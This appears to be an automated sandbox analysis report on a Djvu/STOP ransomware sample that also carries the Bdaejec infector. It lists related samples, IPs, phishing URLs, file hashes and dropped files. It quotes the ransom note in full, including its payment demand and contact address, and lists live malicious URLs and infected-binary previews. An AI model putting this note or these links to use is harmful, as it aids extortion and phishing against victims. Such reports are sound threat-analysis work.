	Endermanch@Vista.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	f84038a5c35557bb57839423dcab27287ac5ab490fca503f496df61da5e2bc99.exe	Get hash	malicious	Bdaejec, Vidar	Browse	44.221.84.105
	Endermanch@SecurityDefener2015.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@Vista.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	44.221.84.105
	f16665459cbffd1d7a22304172bd31629060a36e8d8a934dd21150b33f80c132.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@Xyeta.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LIVECOMM-ASRespublikanskayastr3k6RU	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	C1E3DBF11B5B3D434C8026BB344D5E9FD6DABA717622CCFC4E07CADF051CBA72.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BF4DCAFE30C748D3AE356DACAEE3C6D33D949E6A6C53DEC1F5FD4EA12D77B505.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BA53F24D6448DFC4B1A4A9B73D7D24ECC31A05A4E26EE051BA5ADA4312F319D1.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	B981A1B3DB85E9AE44A79F66ECBCED67088BDA1089FE799D0BCB8DC7C7882B59.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	B6B6783CEB1F14E70D6A9A22E1D9F133F65F9C7E700DE82FC7621A2926E3A4B7.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
CLOUDFLARENETUS	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	https://trk.klclick3.com/ls/click?upn=u001.SqxjShoZHixdTWeQgrVHBBddHkdBUadcx6zFRcEG7c0ZdVqXeLhZmJ53-2Bo9SFgSv4x1E0MvFzL39RE-2FPzHwm8AIb2-2BRALZfPN9ADiPjfhO0xQrvxp9-2FdH677BkTqQN9OdWLY3cgH90-2ByQm-2F14-2BEfJAse86Dujw4voEZmzmSzs3U-3DS-Xr_jkebJe-2FTbSX5bTiKPvviT0v1IIRmN-2BxhKcfQ8xQFW5hz-2FJQ7KoAUDwZXZABbXje3L3wtbgR2WPN5i0So8ryqVTmdI-2BwgMxdyp4Z3Su-2FzP5aJK-2FU2IszgjUzNUorM5CkjROD42zW5kOJ3sMQY4XaDqXksYspLbdueqrPD2mE3H2GiVOPRwqpABaGe8s3JmlEj4-2FRtRo37p57VXsCnueIyQb-2FphnHxd-2FpWg5RspZlZpePbnimWai9uO0BrPfO20av3AHqqERaTi1pPQrIkwWbHDvDU-2B0v0-2Bw1Izd4HFJFFBEzgamAqVWD8Xh0-2FDXTgQjgISnWo0fiCul2xOBES9XCIuRIMdE8LSAGyxxmE4TsRqH-2F9QYYKp-2B6qL2g4KHcmjlgubQoChF6rQ8lxNPqWAo-2FxrHImqTLVdq-2BmCH56Xfmt-2BAudpZfGYLciWkZzNHSiCB9TarmoXKPGTFCjrlfec3nW0wsMImrtDswa1u0s7AbRou8-3D#uWGiEE-SURELYONcG1ja25pZ2h0QGtpbGNveWdsb2JhbGZvb2RzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.21.15.145
	e26edae12836af5e3c42984eca4da6de5d4853701ef28c178de2276575408bb8.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.96.3
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.97.3
	https://r1s5ysq3czg5vii7sy3amdlrggobbqdod4rcuy0ul3qxlie.pages.dev/	Get hash	malicious	Unknown	Browse	188.114.96.3
	http://pub-0a8192cc52a049549ad4415d85d9c286.r2.dev/doc_start.html	Get hash	malicious	Greatness Phishing Kit, HTMLPhisher	Browse	104.26.13.205
	http://pub-579166ebb48443aa8a269450193d8f25.r2.dev/auth_gen.html?folder=fvnps2fman	Get hash	malicious	Unknown	Browse	104.18.3.35
	https://wordpress-1304782-4748926.cloudwaysapps.com/wp-admin/login/ES/index.php	Get hash	malicious	Unknown	Browse	104.18.10.207
AMAZON-AESUS	F898E35329AE242F1F8C0E64EFDE783E9742671336598AD9824073DECAE40F4A.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@SecurityDefener2015.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@SecurityDefender.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@Vista.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	f84038a5c35557bb57839423dcab27287ac5ab490fca503f496df61da5e2bc99.exe	Get hash	malicious	Bdaejec, Vidar	Browse	44.221.84.105
	Endermanch@SecurityDefener2015.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@Vista.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	44.221.84.105
	f16665459cbffd1d7a22304172bd31629060a36e8d8a934dd21150b33f80c132.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@Xyeta.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	f84038a5c35557bb57839423dcab27287ac5ab490fca503f496df61da5e2bc99.exe	Get hash	malicious	Bdaejec, Vidar	Browse	188.114.96.3
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	e26edae12836af5e3c42984eca4da6de5d4853701ef28c178de2276575408bb8.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	SraTIeD668.exe	Get hash	malicious	Gh0stCringe, GhostRat, Mimikatz, RunningRAT	Browse	188.114.96.3
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.96.3
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	cerber.exe	Get hash	malicious	Bdaejec, Cerber, CryptOne	Browse	188.114.96.3
	fElFkLtGq3.exe	Get hash	malicious	Unknown	Browse	188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\VOsoyD.exe	F898E35329AE242F1F8C0E64EFDE783E9742671336598AD9824073DECAE40F4A.exe	Get hash	malicious	Bdaejec	Browse
	Endermanch@SecurityDefener2015.exe	Get hash	malicious	Bdaejec	Browse
	Endermanch@SecurityDefender.exe	Get hash	malicious	Bdaejec	Browse
	Endermanch@Vista.exe	Get hash	malicious	Bdaejec	Browse
	f84038a5c35557bb57839423dcab27287ac5ab490fca503f496df61da5e2bc99.exe	Get hash	malicious	Bdaejec, Vidar	Browse
	Endermanch@SecurityDefener2015.exe	Get hash	malicious	Bdaejec	Browse
	Endermanch@Vista.exe	Get hash	malicious	Bdaejec	Browse
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse
	f16665459cbffd1d7a22304172bd31629060a36e8d8a934dd21150b33f80c132.exe	Get hash	malicious	Bdaejec	Browse
	Endermanch@Xyeta.exe	Get hash	malicious	Bdaejec	Browse

Created / dropped Files

C:\$WinREAgent\Scratch\_readme.txt

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	4.884025328365006
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWtfFmFRqrl3W4kA+GT/kF5M2/kAApJx13b:WZHfv0p6WVFPFWrDGT0f/kj53b
MD5:	35779C10C1797CD75D7E64C8579FED59
SHA1:	68C0A5BF86F957E8976300A74F20F2785EEE204A
SHA-256:	ABE1851BFD95CAC28F57A85B9770513ECB91F6A1629F879832AE653BD808CBE5
SHA-512:	E2A89A0143FBA496DCCE1322CCDF88A576BEBB2F8D0C1EA13D2F5CF288D689DEA27672DCE969CE49AE9740E06C31E8B0FD197A447997D6B54DEEE1F56E483022
Malicious:	true
Reputation:	low
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-0S984cQ4B3..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

C:\$WinREAgent\_readme.txt

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	4.884025328365006
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWtfFmFRqrl3W4kA+GT/kF5M2/kAApJx13b:WZHfv0p6WVFPFWrDGT0f/kj53b
MD5:	35779C10C1797CD75D7E64C8579FED59
SHA1:	68C0A5BF86F957E8976300A74F20F2785EEE204A
SHA-256:	ABE1851BFD95CAC28F57A85B9770513ECB91F6A1629F879832AE653BD808CBE5
SHA-512:	E2A89A0143FBA496DCCE1322CCDF88A576BEBB2F8D0C1EA13D2F5CF288D689DEA27672DCE969CE49AE9740E06C31E8B0FD197A447997D6B54DEEE1F56E483022
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-0S984cQ4B3..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\VOsoyD.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19456
Entropy (8bit):	6.590296055672078
Encrypted:	false
SSDEEP:	384:1FwStXZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:RDQGPL4vzZq2o9W7GsxBbPr
MD5:	0A1C10122A37B345FB12C6E4079285F6
SHA1:	D43404A2B60A6D468F7BB32ACC435EF46BA9EC04
SHA-256:	C1D0AD63E1963D6C06EB1225F56089B3C13BE4035403A7E2CA73F326E3B21CF5
SHA-512:	02080D51194A10F6A121CD483B950E0D06E1B5EE36E579C4ACE1DE6C7ABFD497053FA357DC01B989C26B5E699E81C17812508F1B88DD9A62B7B7E477EEE98D5F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ..........................................................@...PE..L....................................0............................................................................................... ..l...........................................................................................................PELIB...............................`....rsrc........ ......................@..@..Y\|.uR..P...0...B.................. ...................................................................................j.h"...h....j...(....Hello World!.MyProg........................................................................................................................................................................................................................(...........0...(.......................;.......User32.dll...MessageBoxA................................................................................................dummy.exe.....................TestExport.CallPlz................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\VOsoyD.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2389504
Entropy (8bit):	6.731344727186851
Encrypted:	false
SSDEEP:	49152:BGSXoV72tpV9XE8Wwi1aCvYMdRluS/fYw44RxL:V4OEtwiICvYMpf
MD5:	0DA97AB6BB2AD74B2A7218E9EEE7DD25
SHA1:	142F05DC33652754D5E20FF9DB85B5251F6C31B2
SHA-256:	1BBECD7275DD8A1B2C53A95296268B24610B9AF5E73310D0F4C751DF140DBC24
SHA-512:	69C0808CD16E38613E9C660B81E045BFDB0BC4D2E2463D23299EA9A3A0BB26A81C4B688CFD467FDA305160E522CD0376B4CA1F14A5B5F538A4525D384C430A32
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk.Arj..pk...b.rk...k.@rk.....@rk...i.@rk.RichArk.........................PE..L.....(c.....................~.......p$...........@...........................$...........@.........................p...<............@ ......................P#.....@...p...................P...........@............................................text...e........................... ..`.rdata...^.......`..................@..@.data...`....0......................@....rsrc........@ ....... .............@..@.reloc.......P#......"#.............@..B.....u...P...p$..B...4$............. ...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\Uninstall.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\VOsoyD.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	6.365568646363203
Encrypted:	false
SSDEEP:	768:uWQ3655Kv1X/qY1MSdYKQGPL4vzZq2o9W7GsxBbPr:uHqaNrFdYpGCq2iW7z
MD5:	7367B7B9FC399EDE6E3CBEB4A1540142
SHA1:	89D9746CECDB3BE59E75CB3B8694FE5CCC5E3147
SHA-256:	1F1DB4D126AA328EA46D52F77DC9245F7AA805BCEA3121FF0D5EB996739A496F
SHA-512:	782ED37A89D33FB7C0BEE33EF9DD5F3BAE706C00FB3D03F4630D1F063B21790582EB4E9AA13342E70C8AF00B46DE5FDB5D0F2C5CECF46581945045E30A3247D2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../......V...@.......p.......0....@.........................................................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc........`.......*..............@..@.EpN.uZ..P...p...B...:.............. ...................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_VOsoyD.exe_c849f816ffd727ba0312b127128c6f8f414aa9_045cbcc1_494a51d2-60ff-4705-9e81-2a7a015e4c36\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9722138871774273
Encrypted:	false
SSDEEP:	96:zUoVlpFXN0Zpbzes9hnf7afzQXIDcQTc62cEjcw3W+HbHg/5ksS/sxZUJT5PZfYX:zxLn6bze609ypLjU/FjzuiFpZ24IO8B
MD5:	04C02A815D65CFB1C4912D83C91142B2
SHA1:	5A051BB77F17AFD96A8AB293CE1216D2FB33514C
SHA-256:	8BE4A7D864F654C23318830CC7883EDEAC8ABA196BE0D4C9336596123557E981
SHA-512:	FB922C88C8B05F799E23ADE73A736BA6C7F19272177311492C5EAC9FB25FB0CC35B75FACC7FAA51E62B371C4739C88EAFD49A02505CA4C6A5F856A4562DC4C2C
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.3.3.9.2.3.9.5.0.3.2.4.1.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.3.3.9.2.4.0.2.2.1.9.9.8.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.9.4.a.5.1.d.2.-.6.0.f.f.-.4.7.0.5.-.9.e.8.1.-.2.a.7.a.0.1.5.e.4.c.3.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.0.3.1.b.c.f.4.-.0.7.6.6.-.4.2.c.4.-.8.b.b.9.-.b.3.8.f.0.3.6.0.c.7.1.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.V.O.s.o.y.D...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.1.4.-.0.0.0.1.-.0.0.1.4.-.b.0.5.a.-.d.c.a.b.2.5.d.e.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.2.2.9.e.0.b.2.3.e.4.2.0.3.5.3.1.8.9.8.3.2.e.e.5.c.0.4.d.5.5.0.0.0.0.0.f.f.f.f.!.0.0.0.0.d.4.e.9.e.f.1.0.d.7.6.8.5.d.4.9.1.5.8.3.c.6.f.a.9.3.a.e.5.d.9.1.0.5.d.8.1.5.b.d.!.V.O.s.o.y.D...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.1.3.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER58D5.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Jul 25 00:00:39 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	159722
Entropy (8bit):	1.7907717866612887
Encrypted:	false
SSDEEP:	384:gLF+dL35WcUJ9SASOLLzuxDRRDBcYB9J0EHCtWK4uJUhDNR:S05UJ9/LLihD3Jhq4sU7
MD5:	B1BAA9824811E3D104116B3AE754AE7C
SHA1:	EF51B7846160EB33CA234EAD9747417F238FA449
SHA-256:	0FD579D614FB6646B09BCD821E5CBCD2D8C44C838C2E678318B142FCE3359216
SHA-512:	FA1166F1260EA2669B077DC80554529E24AB31BC3042B7DB277BF258B0E2435D85D785A85DF7BAC06158C8BD57A083356B169B6DCD130A2829E2A779CBA9E768
Malicious:	false
Preview:	MDMP..a..... ..........f............t.......................<...T ......t....P..........`.......8...........T...........P=...2........... ..........\|"..............................................................................eJ.......#......GenuineIntel............T..............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5A4D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6268
Entropy (8bit):	3.7159298323722885
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbpjJ64YoYmMog/5aMQUO89bcBsfwUm:R6l7wVeJpjJ641YmQpDO89bcBsfwUm
MD5:	171C2D8660674652DBFFBFBB9A4E7F30
SHA1:	320DB169F1622DE48BE7F1AC84F92D6117B88244
SHA-256:	F4EB270C3488EC8CD8152026FEA4447C95BEE743ABEE7EA6B193542F7C8B8475
SHA-512:	A922988CCD9C3D973E867FADA3ADC70D767B67D269F2667E31ACE7A653FC39BA61E92F6A6318FCD984BF370A5B2CB6AE79C8153A2AC72003BD4E2A10D21765A4
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.9.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5AAB.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4551
Entropy (8bit):	4.450832812117946
Encrypted:	false
SSDEEP:	48:cvIwWl8zstJg77aI9+/3rWpW8VY6PYm8M4JUJFF+q847agHRd:uIjfHI7uq7VyJE1agHRd
MD5:	54AE94B1A793567CBD91353F43B7A4A2
SHA1:	D2F40DBAD5AB341EBE4586A4E4A38C9116FF9935
SHA-256:	949CA5FAAABB978EAC1ECD35E3FC116E6A7B25B1F288C431DC17E413D2BB9F98
SHA-512:	C88B82CA68E18F934D026A00414503D30A65CBCF2D1B383DDBE39AC19A2771154D3FDE89CC606371E21407DDAFE0C8E1207E2A56FDD11ACA93E6F926CB7A3BDC
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="425703" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\SystemID\PersonalID.txt

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	5.0886296251082035
Encrypted:	false
SSDEEP:	3:UGBMOsdV5oljqGMzu:UbOsVolWbzu
MD5:	2C0919DC4D59DD87FF4A09DA22EA3E97
SHA1:	142A1B8D66FBC8DB7C5EF363806C14DDB45B99D0
SHA-256:	8768E12D0EDCB831F3259EBC93AEACE6112F250F91A266283139DD39C79CF675
SHA-512:	C9CA20176C7E558589F6CE4B7AAF6880D725EC66B6466694A561B438A0F039662E4F32F9277A507B71855E74D7780DED77EA136B1A2D24E477F77463385A8F24
Malicious:	false
Preview:	i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1..

C:\Users\user\.curlrc

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.17070937089348
Encrypted:	false
SSDEEP:	6:KWnn4eXRqrTG5QdeIpjbkf5UlfxGAm0sSsmwdVJF4udnFdOsVolWbz6Wcii96Z:Nnn5X2G5QdewkxUCOsSUVJFZnFn36Wcq
MD5:	5F89D2BF4D3BA0C9B2724B7A0DBAE602
SHA1:	8C8B2EF02F6B6F9CFF29671F254B192A9A327849
SHA-256:	57E2F116CEA231F447FA768FEF2B5842C96EE7CE3DC394207127093E0EAC1F10
SHA-512:	1AA21EA0C01834277ADA22B3398CC728D12B54B84BC22892B3579BA9671F9AC218C79D2379907A924C91466648DBA7B55CA0F67E82B475D1D6810CB78809F28E
Malicious:	false
Preview:	insec.z-.sY.f..Uu=.d.I[s8..;p.D...m....h...'r.n.sb...;.y.CO-.bM...&/.t.R.c..+%*.q\3...\1...#....>.....'....;`0'.....->..y...v.4..(0..cf..Q..`..EX....[....T(....LX.h.....&.QT>'.ytO<....V....Y...).%q4.)(B.....D...f.r.<=dy.........z.1..6.E....Reuu ...drH>..8.}.j9i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\.curlrc.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.17070937089348
Encrypted:	false
SSDEEP:	6:KWnn4eXRqrTG5QdeIpjbkf5UlfxGAm0sSsmwdVJF4udnFdOsVolWbz6Wcii96Z:Nnn5X2G5QdewkxUCOsSUVJFZnFn36Wcq
MD5:	5F89D2BF4D3BA0C9B2724B7A0DBAE602
SHA1:	8C8B2EF02F6B6F9CFF29671F254B192A9A327849
SHA-256:	57E2F116CEA231F447FA768FEF2B5842C96EE7CE3DC394207127093E0EAC1F10
SHA-512:	1AA21EA0C01834277ADA22B3398CC728D12B54B84BC22892B3579BA9671F9AC218C79D2379907A924C91466648DBA7B55CA0F67E82B475D1D6810CB78809F28E
Malicious:	false
